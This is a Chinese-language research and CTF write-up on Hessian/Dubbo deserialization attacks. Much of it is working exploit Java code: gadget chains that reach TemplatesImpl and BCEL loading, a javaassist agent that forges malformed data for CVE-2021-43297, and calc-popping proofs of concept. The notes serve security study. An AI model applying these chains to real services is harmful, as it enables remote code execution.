Hessian Deserialization Summary
关于版本 hession和hession2都在同一个依赖里,就只有类名不同。
<dependency> <groupId>com.caucho</groupId> <artifactId>hessian</artifactId> <version>4.0.66</version> </dependency> import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import com.caucho.hessian.io.HessianInput; import com.caucho.hessian.io.HessianOutput;
dubbo用的是alibaba版的hession
<dependency> <groupId>org.apache.dubbo</groupId> <artifactId>dubbo</artifactId> <version>2.7.0</version> </dependency> import com.alibaba.com.caucho.hessian.io.Hessian2Input; import com.alibaba.com.caucho.hessian.io.Hessian2Output; import com.alibaba.com.caucho.hessian.io.HessianInput; import com.alibaba.com.caucho.hessian.io.HessianOutput;
原生hession的反序列化利用 原理 可利用的反序列化入口:反序列化对象最外层是HashMap时
HessianInput.readObject SerializeFactory.readMap _hashMapDeserializer = new MapDeserializer(HashMap.class); return _hashMapDeserializer.readMap(in); map.put(in.readObject(), in.readObject()); //入口就在这里
XString+Jackson+SignedObject map.put->HotSwappableTargetSource.equals->XString.equals-> POJONode.toString->getter
至于为什么不直接调TemplateImpl的getter,因为TemplateImpl的_tfactory
是transient
的,hession反序列化之后他就是null。
至于为什么jdk原生反序列化可以,因为TemplateImpl的readObject的最后一行有_tfactory = new TransformerFactoryImpl();
。
exp1,用HotSwappableTargetSource
public static <T> byte[] serialize(T t) { byte[] data = null; try { ByteArrayOutputStream os = new ByteArrayOutputStream(); HessianOutput output = new HessianOutput(os); output.writeObject(t); data = os.toByteArray(); } catch (Exception e) { e.printStackTrace(); } return data; } public static <T> T deserialize(byte[] data) { if (data == null) { return null; } Object result = null; try { ByteArrayInputStream is = new ByteArrayInputStream(data); HessianInput input = new HessianInput(is); result = input.readObject(); } catch (Exception e) { e.printStackTrace(); } return (T) result; } public static void main(String[] args) throws Exception{ HashMap<Object, Object> map = new HashMap<>(); POJONode node = new POJONode(Gadget.getTemplateImpl("calc")); HotSwappableTargetSource hs1 = Gadget.getHotSwappableTargetSource(node); map.put(hs1,"1"); HotSwappableTargetSource hs2 = Gadget.getHotSwappableTargetSource(1); map.put(hs2,"1"); Util.setFieldValue(hs2,"target",new XString("1")); deserialize(serialize(map)); }
exp2,不用HotSwappableTargetSource
public static void main2() throws Exception{ HashMap<Object, Object> map1 = new HashMap<>(); HashMap<Object, Object> map2 = new HashMap<>(); HashMap<Object, Object> map3 = new HashMap<>(); POJONode node1 = new POJONode(Gadget.getTemplateImpl("calc")); POJONode node2 = new POJONode(Gadget.getSingnedObject(node1)); /* 要注意下面3个map put的顺序。有时候会调用到 POJONode.equals */ map2.put("yy",new XString("1")); map2.put("zZ",node2); map3.put(map1,"1"); map3.put(map2,"2"); map1.put("yy",node2); map1.put("zZ",new XString("1")); deserialize(serialize(map3)); }
Rome //TODO JdbcRowSetImpl //TODO hession和hession2的序列化差异? 上面两个exp的serialize方法,给hession用可以,但是换成hession2就不行。(测试版本4.0.38,4.0.66都会)。
debug发现,序列化数据是空的。
要换成这种才行:
public static <T> byte[] serialize(T t) { byte[] data = null; try { Hessian2Output output = new Hessian2Output(); output.writeObject(t); data = (byte[])Util.getFieldValue(output,"_buffer"); } catch (Exception e) { e.printStackTrace(); } return data; }
alibaba hession 原生hessian底层反序列化时,用的unsafe创建对象,与构造函数无关。
alibaba改写的hessian反序列化时,用的JavaDeserializer,先调用构造方法,属性传null,创建出对象后再设置属性。
因为HotSwappableTargetSource和SignedObject构造方法传参null会报错,所以这两个用不了。
下面是alibaba的hessian1,用上面的exp。报错'java.security.SignedObject' could not be instantiated
,原因就是创建SignedObject对象时构造器传参null。
引发异常导致toString CVE-2021-43297 测试版本:下面两个都行
<dependency> <groupId>org.apache.dubbo</groupId> <artifactId>dubbo</artifactId> <version>2.7.0</version> </dependency> <dependency> <groupId>com.caucho</groupId> <artifactId>hessian</artifactId> <version>4.0.66</version> </dependency>
大致原理:
当读取序列化数据时,读取到一个tag,表示下一个数据是boolean数据。若手动修改该数据,使他不是boolean值,就会进入expect方法,在expect方法中,对这个脏数据readObject,然后再toString。
所以构造序列化数据做法就是将触发toString的source对象覆盖到那个boolean值的位置。
本来想尝试010手改序列化数据,为此专门debug他的序列化流程和反序列化流程。最后用简单demo对象手改成功了,但是复杂一点的就难弄,所以得自动化。
javaagent构造畸形序列化数据 大致流程:给Hessian2Output类添加一个HashMap属性hellomap,用来存放source对象。用javaassist修改Hessian2Output
的writeBoolean
方法,从hellomap取出对象写入,而不写正常的boolean数据。
使用时随便序列化一个含有boolean属性的对象,把source对象送进hellomap即可。writeBoolean写入恶意对象的操作只执行一次,才能不干扰其他序列化。
MyAgent
package example; import java.lang.instrument.Instrumentation; public class MyAgent { public static void premain(String agentArgs, Instrumentation inst) { inst.addTransformer(new MyClassFileTransformer(),true); } }
MyClassFileTransformer
public class MyClassFileTransformer implements ClassFileTransformer { @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer){ String target2 = "com.alibaba.com.caucho.hessian.io.Hessian2Output"; if (className2.equals(target2)) { System.out.println("Find the Inject Class: "+target2); ClassPool pool = ClassPool.getDefault(); try { CtClass c = pool.getCtClass(className2); System.out.println("hhhh"); CtMethod ctMethod = c.getDeclaredMethod("writeBoolean"); CtClass ctClass = pool.getCtClass("java.util.HashMap"); CtField ctField = new CtField(ctClass,"hellomap",c); c.addField(ctField); ctMethod.setBody("{\n" + " if (SIZE < _offset + 16) flush();\n" + "\n" + " if(hellomap!=null && hellomap.get(\"flag\")!=null){\n" + "hellomap.remove(\"flag\");" + "writeObject(hellomap.get(\"value\"));\n" + " }else{\n" + " if ($1)\n" + " _buffer[_offset++] = (byte) 'T';\n" + " else\n" + " _buffer[_offset++] = (byte) 'F';\n" + " }\n" + "\n" + "}"); byte[] bytes = c.toBytecode(); c.detach(); return bytes; } catch (Exception e) { e.printStackTrace(); } } return new byte[0]; } }
序列化方法改为:
public static <T> byte[] badSerialize(T t,Object source) { byte[] data = null; try { ByteArrayOutputStream os = new ByteArrayOutputStream(); Hessian2Output output = new Hessian2Output(os); HashMap<Object, Object> map = new HashMap<>(); map.put("flag",1); map.put("value",source); Util.setFieldValue(output,"hellomap",map); output.getSerializerFactory().setAllowNonSerializable(true); output.writeObject(t); data = (byte[])Util.getFieldValue(output,"_buffer"); } catch (Exception e) { e.printStackTrace(); } return data; }
ToStringBean
public class ToStringBean implements Serializable { @Override public String toString() { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } return "1"; } }
Bool
public class Bool implements Serializable { String name = "123"; boolean sex = true; String addr = "addrrrrr"; }
Main
public static void main(String[] args) throws Exception{ deserialize(badSerialize(new Bool(),new ToStringBean())); }
运行可弹计算器,说明触发了ToStringBeande的toString
TCTF2022 Hessian-onlyJdk hessian + 原生jdk反序列化
https://boogipop.com/2023/03/21/TCTF2022%20_%20Hessian-onlyJdk/
考点:
hessian引异常触发toString
PKCS9Attributes.toString -> UIDefaults.get ->SwingLazyValue.createValue -> invoke (任意类的public static 方法)
exp
public static void main(String[] args) throws Exception{ JavaClass javaClass = Repository.lookupClass(Evill.class); String encode = Utility.encode(javaClass.getBytes(), true); String payload = "$$BCEL$$"+encode; PKCS9Attributes s = Util.createWithoutConstructor(PKCS9Attributes.class); UIDefaults uiDefaults = new UIDefaults(); uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}})); Util.setFieldValue(s,"attributes",uiDefaults); //只是借用一下Hessian2Input的boolean属性,没别的作用。 Hessian2Input hessian2Input = new Hessian2Input(); deserialize(badSerialize(hessian2Input,s)); }
参考链接 https://goodapple.top/archives/1193
https://pupil857.github.io/2022/12/08/NCTF2022-%E5%87%BA%E9%A2%98%E5%B0%8F%E8%AE%B0/
https://boogipop.com/2023/03/21/TCTF2022%20_%20Hessian-onlyJdk/
https://www.cnblogs.com/kingbridge/articles/16717030.html